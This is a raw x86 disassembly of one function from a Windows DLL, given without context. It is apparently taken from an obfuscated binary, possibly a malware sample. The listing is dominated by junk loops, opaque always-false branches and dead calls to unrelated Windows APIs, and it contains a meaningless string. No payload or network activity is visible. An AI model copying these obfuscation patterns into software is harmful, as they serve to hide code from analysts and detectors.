mov dword [ebp - 0x1c], ecx
mov edi, ebx
mov esi, ebx
mov eax, esi
and eax, edi
xor eax, ecx
lea ecx, [ebp - 0x20c]
cdq
push edx
push eax
call fcn.10003ca8
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10004c38
mov eax, dword [eax]
push eax
call fcn.100430bc
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x20c]
call fcn.10001f32
mov ecx, dword [ebp - 0x1c]
inc esi
cmp esi, 0x67ff
jl 0x10004c1a
inc edi
cmp edi, 0x2013
jl 0x10004c18
dec ecx
dec dword [ebp - 0x28]
mov dword [ebp - 0x1c], ecx
jne 0x10004c16
mov esi, dword [ebp - 0x3c]
inc esi
mov dword [ebp - 0x3c], esi
cmp esi, 0x1a5
jl 0x10004c0a
mov byte [ebp - 0x15], bl
cmp dword [ebp - 0x2c], 0x757f
jge 0x10004c91
push str.xoo_bhtnkiwlc_mypkwgmia_qecbop_qzcwhtzp
call fcn.100430bc
pop ecx
mov dword [ebp - 4], 0x13
cmp byte [ebp - 0x15], 0
je 0x10004cac
push 0x2629
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
inc dword [ebp - 0x20]
jmp 0x10004be3
mov dword [ebp - 0x2c], 0xd1ad67a4
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge dl
sub eax, edx
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x20]
imul eax, eax, 7
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
je 0x10004cf1
cmp dword [ebp - 0x2c], ebx
je 0x10004cf1
xor edx, edx
inc edx
jmp 0x10004cf3
mov edx, ebx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setl cl
xor edx, edx
cmp ecx, eax
setl dl
imul edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2c]
sub ecx, edx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xae7b
setne al
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x50], ebx
xor ecx, ecx
mov dword [ebp - 0x34], 0xffffffff
inc ecx
mov dword [ebp - 0x1c], ebx
jmp 0x10004d43
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x48], 0x17571177
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10004d35
mov esi, dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 0xfffffffffffffff3
mov dword [ebp - 0x48], ebx
pop edi
cmp dword [ebp - 0x48], edi
jg 0x10004d74
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10004d6f
push ecx
push 0x1b1a
push ebx
push ebx
call esi
xor ecx, ecx
inc ecx
dec dword [ebp - 0x48]
jmp 0x10004d54
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x1c], ebx
jmp 0x10004d8e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x54], 0x17571177
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10004d80
mov dword [ebp - 0x54], ebx
jmp 0x10004db1
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10004dae
push ecx
push 0x1b1a
push ebx
push ebx
call esi
xor ecx, ecx
inc ecx
dec dword [ebp - 0x54]
cmp dword [ebp - 0x54], edi
jle 0x10004d98
push 0x5f
pop eax
push 2
pop edi
mov byte [ebp - 0x60], bl
mov esi, edi
mov dword [ebp - 0x5f], 0x56610409
mov ecx, ebx
mov word [ebp - 0x5b], 0xcccf
mov word [ebp - 0x4c], ax
cmp esi, edi
jne 0x10004ddf
push 5
pop ecx
push ecx
pop esi
jmp 0x10004e06
movzx edx, byte [ebp + esi - 0x5f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x62]
movzx eax, word [ebp + eax*2 - 0x4c]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x60]
mov word [ebp + eax*2 - 0x4c], cx
mov ecx, ebx
add esi, edi
cmp esi, 7
jb 0x10004dd4
xor eax, eax
mov word [ebp - 0x4a], ax
mov eax, 0xfe012d2c
mov dword [ebp - 0x24], 0x43cdf98a
mov dword [ebp - 0x34], 0x371247ad
mov dword [ebp - 0x30], 0xd3c15d0d
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], eax
push 3
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x1c], ebx
pop esi
jmp 0x10004e5e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1dc], 0xc93b4e1a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10004e4d
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10004e73
push ebx
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], ebx
jl 0x10004f69
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0x1c], 0x2a149cec
lea ecx, [ebp - 0xf8]
push 1
call fcn.10001ba5
push 4
lea ecx, [ebp - 0x11c]
mov byte [ebp - 4], 0x16
call fcn.10001ba5
xor edx, edx
mov dword [ebp - 0x20], ebx
inc edx
jmp 0x10004ec5
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf8]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10004eb2
mov dword [ebp - 0x20], ebx
jmp 0x10004ee2
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x11c]
mov dword [eax + ecx*4], 0x6c9cd49f
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10004ecf
mov edx, dword [ebp - 0x11c]
mov ecx, dword [edx + 8]
lea eax, [ecx - 1]
mov dword [edx + 8], eax
cmp ecx, 0xcb8ce3e
je 0x10004f04
xor ecx, ecx
inc ecx
jmp 0x10004f06
mov ecx, ebx
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov dword [ebp - 0x30], ebx
jmp 0x10004f41
mov dword [ebp - 0x1c], ebx
jmp 0x10004f39
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10004f36
push 0x196a
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x10004f18
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jle 0x10004f13
lea ecx, [ebp - 0x11c]
call fcn.10001c28
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 0x13
call fcn.10001c28
dec dword [ebp - 0x24]
jns 0x10004e85
xor eax, eax
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
lea ecx, [ebp - 0x178]
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x168], ebx
push eax
call fcn.100057a8
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x4c], ebx
push dword [ebp - 0xa4]
cmp dword [ebp - 0xa0], 8
lea eax, [ebp - 0xb4]
push ebx
cmovae eax, dword [ebp - 0xb4]
lea ecx, [ebp - 0x190]
push eax
call fcn.10005b24
cmp eax, 0xffffffff
je 0x10004fde
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x178]
push ecx
push 1
push eax
lea ecx, [ebp - 0x190]
call fcn.10005830
jmp 0x10004f98
mov ecx, dword [ebp - 0x80]
lea eax, [ebp - 0x190]
push eax
lea edx, [ebp - 0x140]
call fcn.100079e2
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x178]
call fcn.10005bc7
push ebx
push 1
lea ecx, [ebp - 0xb4]
call fcn.10005bc7
push ebx
push 1
lea ecx, [ebp - 0x190]
call fcn.10005bc7
push ebx
push 1
lea ecx, [ebp - 0x140]
call fcn.10005bc7
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x80]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret